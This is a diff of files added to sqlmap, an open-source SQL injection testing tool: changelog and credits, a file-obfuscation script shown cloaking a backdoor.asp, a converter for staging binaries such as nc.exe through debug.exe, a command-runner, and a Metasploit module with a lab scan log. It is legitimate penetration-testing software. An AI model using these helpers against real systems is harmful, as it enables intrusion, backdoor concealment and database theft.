+    error messages for each supported DBMS;
+  * Added Microsoft SQL Server extensive DBMS fingerprint checks based
+    upon accurate '@@version' parsing matching on an XML file to get also
+    the exact patching level of the DBMS;
+  * Added support for query ETA (Estimated Time of Arrival) real time
+    calculation (--eta);
+  * Added support to extract database management system users password
+    hash on MySQL and PostgreSQL (--passwords);
+  * Added docstrings to all functions, classes and methods, consequently
+    released the sqlmap development documentation
+    <http://sqlmap.sourceforge.net/dev/>;
+  * Implemented Google dorking feature (-g) to take advantage of Google
+    results affected by SQL injection to perform other command line
+    argument on their DBMS;
+  * Improved logging functionality: passed from banal 'print' to Python
+    native logging library;
+  * Added support for more than one parameter in '-p' command line
+    option;
+  * Added support for HTTP Basic and Digest authentication methods
+    (--basic-auth and --digest-auth);
+  * Added the command line option '--remote-dbms' to manually specify
+    the remote DBMS;
+  * Major improvements in union.UnionCheck() and union.UnionUse()
+    functions to make it possible to exploit inband SQL injection also
+    with database comment characters ('--' and '#') in UNION query
+    statements;
+  * Added the possibility to save the output into a file while performing
+    the queries (-o OUTPUTFILE) so it is possible to stop and resume the
+    same query output retrieving in a second time (--resume);
+  * Added support to specify the database table column to enumerate
+    (-C COL);
+  * Added inband SQL injection (UNION query) support (--union-use);
+  * Complete code refactoring, a lot of minor and some major fixes in
+    libraries, many minor improvements;
+  * Reviewed the directory tree structure;
+  * Splitted lib/common.py: inband injection functionalities now are
+    moved to lib/union.py;
+  * Updated documentation files.
+
+ -- Bernardo Damele A. G. <[email protected]>  Fri, 15 Jun 2007 20:00:00 +0100
+
+sqlmap (0.3-1) stable; urgency=low
+
+  * Added module for MS SQL Server;
+  * Strongly improved MySQL dbms active fingerprint and added MySQL
+    comment injection check;
+  * Added PostgreSQL dbms active fingerprint;
+  * Added support for string match (--string);
+  * Added support for UNION check (--union-check);
+  * Removed duplicated code, delegated most of features to the engine
+    in common.py and option.py;
+  * Added support for --data command line argument to pass the string
+    for POST requests;
+  * Added encodeParams() method to encode url parameters before making
+    http request;
+  * Many bug fixes;
+  * Rewritten documentation files;
+  * Complete code restyling.
+
+ -- Bernardo Damele A. G. <[email protected]>  Sat, 20 Jan 2007 20:00:00 +0100
+
+sqlmap (0.2-1) stable; urgency=low
+
+  * complete refactor of entire program;
+  * added TODO and THANKS files;
+  * added some papers references in README file;
+  * moved headers to user-agents.txt, now -f parameter specifies a file
+    (user-agents.txt) and randomize the selection of User-Agent header;
+  * strongly improved program plugins (mysqlmap.py and postgres.py),
+    major enhancements:
+    * improved active mysql fingerprint check_dbms();
+    * improved enumeration functions for both databases;
+    * minor changes in the unescape() functions;
+  * replaced old inference algorithm with a new bisection algorithm.
+  * reviewed command line parameters, now with -p it's possible to
+    specify the parameter you know it's vulnerable to sql injection,
+    this way the script won't perform the sql injection checks itself;
+    removed the TOKEN parameter;
+  * improved Common class, adding support for http proxy and http post
+    method in hash_page;
+  * added OptionCheck class in option.py which performs all needed checks
+    on command line parameters and values;
+  * added InjectionCheck class in injection.py which performs check on
+    url stability, dynamics of parameters and injection on dynamic url
+    parameters;
+  * improved output methods in dump.py;
+  * layout enhancement on main program file (sqlmap.py), adapted to call
+    new option/injection classes and improvements on catching of
+    exceptions.
+
+ -- Bernardo Damele A. G. <[email protected]>  Wed, 13 Dec 2006 20:00:00 +0100

doc/THANKS

@@ -0,0 +1,318 @@
+== Individuals ==
+
+David Alvarez <[email protected]>
+    for reporting a bug
+
+Chip Andrews <[email protected]>
+    for his excellent work maintaining the SQL Server versions database
+    at SQLSecurity.com and permission to implement the update feature
+    taking data from his site
+
+Otavio Augusto <[email protected]>
+    for reporting a minor bug
+
+Simon Baker <[email protected]>
+    for reporting some bugs
+
+Daniele Bellucci <[email protected]>
+    for starting sqlmap project and developing it between July and August
+    2006
+
+Velky Brat <[email protected]>
+    for suggesting a minor enhancement to the bisection algorithm
+
+Jack Butler <[email protected]>
+    for providing me with the sqlmap site favicon
+
+Roberto Castrogiovanni <[email protected]>
+    for reporting a minor bug
+
+Cesar Cerrudo <[email protected]>
+    for his Windows access token kidnapping tool Churrasco included in
+    sqlmap tree as a contrib library and used to run the stand-alone
+    payload stager on the target Windows machine as SYSTEM user if the
+    user wants to perform a privilege escalation attack,
+    http://www.argeniss.com/research/TokenKidnapping.pdf
+
+Karl Chen <[email protected]>
+    for providing with the multithreading patch for the inference
+    algorithm
+
+Y P Chien <[email protected]>
+    for reporting a minor bug
+
+Pierre Chifflier <[email protected]> and Mark Hymers <[email protected]>
+    for uploading and accepting the sqlmap Debian package to the official
+    Debian project repository
+
+Ulises U. Cune <[email protected]>
+    for reporting a bug
+
+Alessandro Curio <[email protected]>
+    for reporting a minor bug
+
+Stefano Di Paola <[email protected]>
+    for suggesting good features
+
+Dan Guido <[email protected]>
+    for promoting sqlmap in the context of the Penetration Testing and
+    Vulnerability Analysis class at the Polytechnic University of New York,
+    http://isisblogs.poly.edu/courses/pentest/
+
+Adam Faheem <[email protected]>
+    for reporting a few bugs
+
+James Fisher <[email protected]>
+    for providing me with two very good feature requests
+    for his great tool too brute force directories and files names on
+    web/application servers, Dir Buster, http://tinyurl.com/dirbuster
+
+Jim Forster <[email protected]>
+    for reporting a bug
+
+Rong-En Fan <[email protected]>
+    for commiting the sqlmap 0.5 port to the official FreeBSD project
+    repository
+
+Giorgio Fedon <[email protected]>
+    for suggesting a speed improvement for bisection algorithm
+    for reporting a bug when running against Microsoft SQL Server 2005
+
+Kasper Fons <[email protected]>
+    for reporting a bug
+
+Alan Franzoni <[email protected]>
+    for helping me out with Python subprocess library
+
+Daniel G. Gamonal <[email protected]>
+    for reporting a minor bug
+
+Ivan Giacomelli <[email protected]>
+    for reporting a bug
+    for suggesting a minor enhancement
+    for reviewing the documentation
+
+Oliver Gruskovnjak <[email protected]>
+    for reporting a bug
+    for providing me with a minor patch
+
+Davide Guerri <[email protected]>
+    for suggesting an enhancement
+
+Kristian Erik Hermansen <[email protected]>
+    for reporting a bug
+    for donating to sqlmap development
+
+Jorge Hoya <[email protected]>
+    for suggesting a minor enhancement
+
+Will Holcomb <[email protected]>
+    for his MultipartPostHandler class to handle multipart POST forms and
+    permission to include it within sqlmap source code
+
+Daniel Huckmann <[email protected]>
+    for reporting a couple of bugs
+
+Mounir Idrassi <[email protected]>
+    for his compiled version of UPX for Mac OS X
+
+Dirk Jagdmann <[email protected]>
+    for reporting a typo in the documentation
+
+Luke Jahnke <[email protected]>
+    for reporting a bug when running against MySQL < 5.0
+
+Sven Klemm <[email protected]>
+    for reporting two minor bugs with PostgreSQL
+
+Anant Kochhar <[email protected]>
+    for providing me with feedback on the user's manual
+
+Alexander Kornbrust <[email protected]>
+    for reporting a couple of bugs
+
+Krzysztof Kotowicz <[email protected]>
+    for reporting a minor bug
+
+Nicolas Krassas <[email protected]>
+    for reporting a bug
+
+Guido Landi <[email protected]>
+    for reporting a couple of bugs
+    for the great technical discussions
+    for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
+    'sp_replwritetovarbin' stored procedure heap-based buffer overflow
+    (MS09-004) exploit development
+    for presenting with me at SOURCE Conference 2009 in Barcelona (Spain)
+    on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on
+    November 20, 2009
+
+Lee Lawson <[email protected]>
+    for reporting a minor bug
+
+Nico Leidecker <[email protected]>
+    for providing me with feedback on a few features
+    for reporting a couple of bugs
+
+Gabriel Lima <[email protected]>
+    for reporting a couple of bugs
+
+Pavol Luptak <[email protected]>
+    for reporting a bug when injecting on a POST data parameter
+
+Michael Majchrowicz <[email protected]>
+    for extensively beta-testing sqlmap on various MySQL DBMS
+    for providing really appreciated feedback
+    for suggesting a lot of ideas and features
+
+Ferruh Mavituna <[email protected]>
+    for providing me with ideas on the implementation of a couple of
+    new features
+
+Enrico Milanese <[email protected]>
+    for reporting a bugs when using (-a) a single line User-Agent file
+    for providing me with some ideas for the PHP backdoor
+
+Roberto Nemirovsky <[email protected]>
+    for pointing me out some enhancements
+
+Markus Oberhumer <[email protected]>
+Laszlo Molnar <[email protected]>
+John F. Reiser <[email protected]>
+    for their great tool UPX (Ultimate Packer for eXecutables) included
+    in sqlmap tree as a contrib library and used mainly to pack the
+    Metasploit Framework 3 payload stager portable executable,
+    http://upx.sourceforge.net
+
+Simone Onofri <[email protected]>
+    for patching the PHP web backdoor to make it work properly also on
+    Windows
+
+Antonio Parata <[email protected]>
+    for providing me with some ideas for the PHP backdoor
+
+Adrian Pastor <[email protected]>
+    for donating to sqlmap development
+
+Chris Patten <[email protected]>
+    for reporting a bug in the blind SQL injection bisection algorithm
+
+Adam Pridgen <[email protected]>
+    for suggesting some features
+
+Alberto Revelli <[email protected]>
+    for inspiring me to write sqlmap user's manual in SGML
+    for his great Microsoft SQL Server take over tool, sqlninja,
+    http://sqlninja.sourceforge.net
+
+Andres Riancho <[email protected]>
+    for beta-testing sqlmap
+    for reporting a bug and suggesting some features
+    for including sqlmap in his great web application audit and attack
+    framework, w3af, http://w3af.sourceforge.net
+
+Antonio Riva <[email protected]>
+    for reporting a bug when running with python 2.5
+
+Richard Safran <[email protected]>
+    for donating the sqlmap.org domain control
+
+Tomoyuki Sakurai <[email protected]>
+    for submitting to the FreeBSD project the sqlmap 0.5 port
+
+Philippe A. R. Schaeffer <[email protected]>
+    for reporting a minor bug
+
+Sven Schluter <[email protected]>
+    for providing with a patch for waiting a number of seconds between
+    each HTTP request
+
+Uemit Seren <[email protected]>
+    for reporting a minor adjustment when running with python 2.6
+
+Sumit Siddharth <[email protected]>
+    for providing me with ideas on the implementation of a couple of
+    features
+
+M Simkin <[email protected]>
+    for suggesting a feature
+
+Konrads Smelkovs <[email protected]>
+    for reporting a few bugs in --sql-shell and --sql-query on Microsoft
+    SQL Server
+
+Marek Stiefenhofer <[email protected]>
+    for reporting a bug
+
+Jason Swan <[email protected]>
+    for reporting a bug when enumerating columns on Microsoft SQL Server
+    for suggesting a couple of improvements
+
+Alessandro Tanasi <[email protected]>
+    for extensively beta-testing sqlmap
+    for suggesting many features and reporting some bugs
+    for reviewing the documentation
+
+Andres Tarasco <[email protected]>
+    for providing me with good feedback
+
+Efrain Torres <[email protected]>
+    for helping me out to improve the Metasploit Framework 3 sqlmap
+    auxiliary module and for commiting it on the Metasploit official
+    subversion repository
+    for his great Metasploit WMAP Framework
+
+Sandro Tosi <[email protected]>
+    for helping to create sqlmap Debian package correctly
+
+Bedirhan Urgun <[email protected]>
+    for reporting a few bugs
+    for suggesting some features and improvements
+    for benchmarking sqlmap in the context of his SQL injection
+    benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench
+
+Kyprianos Vasilopoulos <[email protected]>
+    for reporting an unhandled connection exception
+
+Anthony Zboralski <[email protected]>
+    for providing me with detailed feedback
+    for reporting a few minor bugs
+    for donating to sqlmap development
+
+dsu <[email protected]>
+    for reporting a bug
+
+fufuh <[email protected]>
+    for reporting a bug when running on Windows
+
+mariano <[email protected]>
+    for reporting a bug
+
+pacman730 <[email protected]>
+    for reporting a bug
+
+Stuffe <[email protected]>
+    for reporting a minor bug and a feature request
+
+Sylphid <[email protected]>
+    for suggesting some features
+
+
+== Organizations ==
+
+Black Hat team <[email protected]>
+    for the opportunity to present my research on 'Advanced SQL injection
+    to operating system full control' at Black Hat Europe 2009 Briefings on
+    April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of
+    the sqlmap 0.7 release candidate version new features during my
+    presentation
+
+Metasploit LLC <[email protected]>
+    for their powerful tool Metasploit Framework 3, used by sqlmap, among
+    others things, to create the payload stager and establish an
+    out-of-band connection between sqlmap and the database server,
+    http://www.metasploit.com/framework
+
+OWASP Board <http://www.owasp.org>
+    for sponsoring part of the sqlmap development in the context of OWASP
+    Spring of Code 2007

extra/__init__.py

@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+pass

extra/cloak/README.txt

@@ -0,0 +1,22 @@
+To use cloak.py you need to pass it the original file,
+and optionally the output file name.
+
+Example:
+
+$ python ./cloak.py -i backdoor.asp -o backdoor.asp_
+
+This will create an encrypted and compressed binary file backdoor.asp_.
+
+Such file can then be converted to its original form by using the -d
+functionality of the cloak.py program:
+
+$ python ./cloak.py -d -i backdoor.asp_ -o backdoor.asp
+
+If you skip the output file name, general rule is that the compressed
+file names are suffixed with the character '_', while the original is
+get by skipping the last character. So, that means that the upper
+examples can also be written in the following form:
+
+$ python ./cloak.py -i backdoor.asp
+
+$ python ./cloak.py -d -i backdoor.asp_

extra/cloak/__init__.py

@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+pass

extra/cloak/cloak.py

@@ -0,0 +1,93 @@
+#!/usr/bin/env python
+
+"""
+cloak.py - Simple file encryption/compression utility
+Copyright (C) 2010  Miroslav Stampar, Bernardo Damele A. G.
+email(s): [email protected], [email protected]
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import bz2
+import os
+import sys
+
+from optparse import OptionError
+from optparse import OptionParser
+
+def hideAscii(data):
+    retVal = ""
+    for i in xrange(len(data)):
+        if ord(data[i]) < 128:
+            retVal += chr(ord(data[i]) ^ 127)
+        else:
+            retVal += data[i]
+            
+    return retVal
+
+def cloak(inputFile):
+    f = open(inputFile, 'rb')
+    data = bz2.compress(f.read())
+    f.close()
+    
+    return hideAscii(data)
+        
+def decloak(inputFile):
+    f = open(inputFile, 'rb')
+    data = bz2.decompress(hideAscii(f.read()))
+    f.close()
+    
+    return data
+
+def main():
+    usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
+    parser  = OptionParser(usage=usage, version='0.1')
+
+    try:
+        parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
+        parser.add_option('-i', dest='inputFile', help='Input file')
+        parser.add_option('-o', dest='outputFile', help='Output file')
+
+        (args, _) = parser.parse_args()
+
+        if not args.inputFile:
+            parser.error('Missing the input file, -h for help')
+
+    except (OptionError, TypeError), e:
+        parser.error(e)
+    
+    if not os.path.isfile(args.inputFile):
+        print 'ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile
+        sys.exit(1)
+    
+    if not args.decrypt:
+        data = cloak(args.inputFile)
+    else:
+        data = decloak(args.inputFile)
+
+    if not args.outputFile:
+        if not args.decrypt:
+            args.outputFile = args.inputFile + '_'
+        else:
+            args.outputFile = args.inputFile[:-1]
+        
+    fpOut      = open(args.outputFile, 'wb')
+    sys.stdout = fpOut
+    sys.stdout.write(data)
+    sys.stdout.close()
+
+
+if __name__ == '__main__':
+    main()

extra/dbgtool/README.txt

@@ -0,0 +1,20 @@
+To use dbgtool.py you need to pass it the MS-DOS executable binary file,
+and optionally the output debug.exe script file name.
+
+Example:
+
+$ python ./dbgtool.py -i ./nc.exe -o nc.scr
+
+This will create a ASCII text file with CRLF line terminators called
+nc.scr.
+
+Such file can then be converted to its original portable executable with
+the Windows native debug.exe, that is installed by default in all Windows
+systems:
+
+> debug.exe < nc.scr
+
+To be able to execute it on Windows you have to rename it to end with
+'.com' or '.exe':
+
+> ren nc_exe nc.exe

extra/dbgtool/dbgtool.py

@@ -0,0 +1,109 @@
+#!/usr/bin/env python
+
+"""
+dbgtool.py - Portable executable to ASCII debug script converter
+Copyright (C) 2009-2010  Bernardo Damele A. G.
+web: http://bernardodamele.blogspot.com/
+email: [email protected]
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import os
+import sys
+import struct
+
+from optparse import OptionError
+from optparse import OptionParser
+
+def convert(inputFile):
+    fileStat = os.stat(inputFile)
+    fileSize = fileStat.st_size
+
+    if fileSize > 65280:
+        print 'ERROR: the provided input file \'%s\' is too big for debug.exe' % inputFile
+        sys.exit(1)
+
+    script     = 'n %s\r\nr cx\r\n' % os.path.basename(inputFile.replace('.', '_'))
+    script    += "%x\r\nf 0100 ffff 00\r\n" % fileSize
+    scrString  = ""
+    counter    = 256
+    counter2   = 0
+
+    fp          = open(inputFile, 'rb')
+    fileContent = fp.read()
+
+    for fileChar in fileContent:
+        unsignedFileChar = struct.unpack('B', fileChar)[0]
+
+        if unsignedFileChar != 0:
+            counter2 += 1
+
+            if not scrString:
+                scrString  = "e %0x %02x" % (counter, unsignedFileChar)
+            else:
+                scrString += " %02x" % unsignedFileChar
+        elif scrString:
+            script   += "%s\r\n" % scrString
+            scrString = ""
+            counter2  = 0
+
+        counter += 1
+
+        if counter2 == 20:
+            script    += "%s\r\n" % scrString
+            scrString  = ""
+            counter2   = 0
+
+    script += "w\r\nq\r\n"
+
+    return script
+        
+def main(inputFile, outputFile):
+    if not os.path.isfile(inputFile):
+        print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
+        sys.exit(1)
+
+    script = convert(inputFile)
+
+    if outputFile:
+        fpOut      = open(outputFile, 'w')
+        sys.stdout = fpOut
+        sys.stdout.write(script)
+        sys.stdout.close()
+    else:
+        print script
+        
+if __name__ == '__main__':
+    usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
+    parser  = OptionParser(usage=usage, version='0.1')
+
+    try:
+        parser.add_option('-i', dest='inputFile', help='Input binary file')
+
+        parser.add_option('-o', dest='outputFile', help='Output debug.exe text file')
+
+        (args, _) = parser.parse_args()
+
+        if not args.inputFile:
+            parser.error('Missing the input file, -h for help')
+
+    except (OptionError, TypeError), e:
+        parser.error(e)
+
+    inputFile  = args.inputFile
+    outputFile = args.outputFile
+
+    main(inputFile, outputFile)

extra/msfauxmod/README.txt

@@ -0,0 +1,78 @@
+To use Metasploit's sqlmap auxiliary module launch msfconsole and follow
+the example below.
+
+Note that if you are willing to run Metasploit's sqlmap auxiliary module on
+through WMAP framework you first need to install sqlmap on your system or
+add its file system path to the PATH environment variable.
+
+
+$ ./msfconsole
+
+                _                  _       _ _
+               | |                | |     (_) |
+ _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
+| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
+| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
+|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
+                            | |
+                            |_|
+
+
+       =[ msf v3.2-testing
++ -- --=[ 308 exploits - 173 payloads
++ -- --=[ 20 encoders - 6 nops
+       =[ 75 aux
+
+msf > use auxiliary/scanner/http/wmap_sqlmap 
+msf auxiliary(wmap_sqlmap) > set RHOSTS 192.168.1.121
+RHOSTS => 192.168.1.121
+msf auxiliary(wmap_sqlmap) > set PATH /sqlmap/mysql/get_int.php
+PATH => /sqlmap/mysql/get_int.php
+msf auxiliary(wmap_sqlmap) > set QUERY id=1
+QUERY => id=1
+msf auxiliary(wmap_sqlmap) > set OPTS '--dbs --current-user'
+OPTS => --dbs --current-user
+msf auxiliary(wmap_sqlmap) > set SQLMAP_PATH /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py
+msf auxiliary(wmap_sqlmap) > show options 
+
+Module options:
+
+   Name         Current Setting                                                 Required  Description                                          
+   ----         ---------------                                                 --------  -----------                                          
+   BATCH        true                                                            yes       Never ask for user input, use the default behaviour  
+   BODY                                                                         no        The data string to be sent through POST              
+   METHOD       GET                                                             yes       HTTP Method                                          
+   OPTS         --dbs --current-user                                            no        The sqlmap options to use                            
+   PATH         /sqlmap/mysql/get_int.php                                       yes       The path/file to test for SQL injection              
+   Proxies                                                                      no        Use a proxy chain                                    
+   QUERY        id=1                                                            no        HTTP GET query                                       
+   RHOSTS       192.168.1.121                                                   yes       The target address range or CIDR identifier          
+   RPORT        80                                                              yes       The target port                                      
+   SQLMAP_PATH  /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py             yes       The sqlmap >= 0.6.1 full path                        
+   SSL          false                                                           no        Use SSL                                              
+   THREADS      1                                                               yes       The number of concurrent threads                     
+   VHOST                                                                        no        HTTP server virtual host                             
+
+msf auxiliary(wmap_sqlmap) > run
+[*] exec: /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py -u 'http://192.168.1.121:80//sqlmap/mysql/get_int.php?id=1' --method GET --dbs --current-user --batch
+SQLMAP: 
+SQLMAP: sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>
+SQLMAP: and Daniele Bellucci <[email protected]>
+SQLMAP: 
+SQLMAP: [*] starting at: 16:23:19
+SQLMAP: 
+SQLMAP: [16:23:20] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+SQLMAP: back-end DBMS:  MySQL >= 5.0.0
+SQLMAP: 
+SQLMAP: current user:    'testuser@localhost'
+SQLMAP: 
+SQLMAP: available databases [3]:
+SQLMAP: [*] information_schema
+SQLMAP: [*] mysql
+SQLMAP: [*] test
+SQLMAP: 
+SQLMAP: 
+SQLMAP: [*] shutting down at: 16:23:21
+SQLMAP: 
+[*] Auxiliary module execution completed
+msf auxiliary(wmap_sqlmap) > 

extra/msfauxmod/wmap_sqlmap.rb

@@ -0,0 +1,95 @@
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::WMAPScanUniqueQuery
+	include Msf::Auxiliary::Scanner
+
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'			=> 'SQLMAP SQL Injection External Module',
+			'Description'	=> %q{
+				This module launch a sqlmap session.
+				sqlmap is an automatic SQL injection tool developed in Python.
+				Its goal is to detect and take advantage of SQL injection
+				vulnerabilities on web applications. Once it detects one
+				or more SQL injections on the target host, the user can
+				choose among a variety of options to perform an extensive
+				back-end database management system fingerprint, retrieve
+				DBMS session user and database, enumerate users, password
+				hashes, privileges, databases, dump entire or user
+				specific DBMS tables/columns, run his own SQL SELECT
+				statement, read specific files on the file system and much
+				more.
+			},
+			'Author'		=> [ 'bernardo.damele [at] gmail.com', 'daniele.bellucci [at] gmail.com' ],
+			'License'		=> BSD_LICENSE,
+			'Version'		=> '$Revision$',
+			'References'	=>
+				[
+					['URL', 'http://sqlmap.sourceforge.net'],
+				]
+			))
+		
+		register_options(
+			[
+				OptString.new('METHOD', [ true,  "HTTP Method", 'GET' ]),
+				OptString.new('PATH', [ true,  "The path/file to test for SQL injection", 'index.php' ]),
+				OptString.new('QUERY', [ false, "HTTP GET query", 'id=1' ]),
+				OptString.new('BODY', [ false, "The data string to be sent through POST", '' ]),
+				OptString.new('OPTS', [ false,  "The sqlmap options to use", ' ' ]),
+				OptPath.new('SQLMAP_PATH', [ true,  "The sqlmap >= 0.6.1 full path ", '/sqlmap/sqlmap.py' ]), 
+				OptBool.new('BATCH', [ true,  "Never ask for user input, use the default behaviour", true ])
+			], self.class)
+	end
+	
+	# Modify to true if you have sqlmap installed.
+	def wmap_enabled
+		false
+	end
+
+	# Test a single host
+	def run_host(ip)
+			
+		sqlmap = datastore['SQLMAP_PATH'] 
+			
+		if not sqlmap
+			print_error("The sqlmap script could not be found")
+			return
+		end
+
+		data = datastore['BODY']
+		method = datastore['METHOD'].upcase
+
+		sqlmap_url  = (datastore['SSL'] ? "https" : "http")
+		sqlmap_url += "://" + self.target_host + ":" + datastore['RPORT']
+		sqlmap_url += "/" + datastore['PATH'] 
+
+		if method == "GET"
+			sqlmap_url += '?' + datastore['QUERY']
+		end
+
+		cmd  = sqlmap + ' -u \'' + sqlmap_url + '\''
+		cmd += ' --method ' + method
+		cmd += ' ' + datastore['OPTS']
+
+		if not data.empty?
+			cmd += ' --data \'' + data + '\''
+		end
+
+		if datastore['BATCH'] == true
+			cmd += ' --batch'
+		end
+
+		print_status("exec: #{cmd}")
+		IO.popen( cmd ) do |io|
+			io.each_line do |line|
+				print_line("SQLMAP: " + line.strip)
+			end
+		end
+	end
+
+end

extra/runcmd/README.txt

@@ -0,0 +1,7 @@
+Files in this folder can be used to compile auxiliary program that can
+be used for running command prompt commands skipping standard "cmd /c" way. 
+They are licensed under the terms of the GNU Lesser General Public License 
+and it's compiled version is available on the official sqlmap subversion
+repository[1].
+
+[1] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/shell/runcmd.exe_

extra/runcmd/windows/README.txt

@@ -0,0 +1,4 @@
+Compile only the Release version because the Runtime library option
+(Project Properties -> Configuration Properties -> C/C++ -> Code
+Generation) is set to "Multi-threaded (/MT)", which statically links
+everything into executable and doesn't compile Debug version at all.

extra/runcmd/windows/runcmd.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Win32 = Debug|Win32
+		Release|Win32 = Release|Win32
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32
+		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32
+		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32
+		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

extra/runcmd/windows/runcmd/runcmd.cpp

@@ -0,0 +1,46 @@
+/* 
+	runcmd - a program for running command prompt commands
+	Copyright (C) 2010 Miroslav Stampar
+	email: [email protected]
+	
+	This library is free software; you can redistribute it and/or
+	modify it under the terms of the GNU Lesser General Public
+	License as published by the Free Software Foundation; either
+	version 2.1 of the License, or (at your option) any later version.
+	
+	This library is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+	Lesser General Public License for more details.
+	
+	You should have received a copy of the GNU Lesser General Public
+	License along with this library; if not, write to the Free Software
+	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+#include <stdio.h>
+#include <windows.h>
+#include <use_ansi.h>
+#include "stdafx.h"
+#include <string>
+
+using namespace std;
+int main(int argc, char* argv[])
+{
+  FILE *fp;
+  string cmd;
+
+  for( int count = 1; count < argc; count++ )
+	cmd += " " + string(argv[count]);
+
+  fp = _popen(cmd.c_str(), "r");
+
+  if (fp != NULL) {
+    char buffer[BUFSIZ];
+
+    while (fgets(buffer, sizeof buffer, fp) != NULL)
+      fputs(buffer, stdout);
+  }
+
+  return 0;
+}

extra/runcmd/windows/runcmd/runcmd.vcproj

@@ -0,0 +1,225 @@
+<?xml version="1.0" encoding="windows-1250"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8,00"
+	Name="runcmd"
+	ProjectGUID="{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
+	RootNamespace="runcmd"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
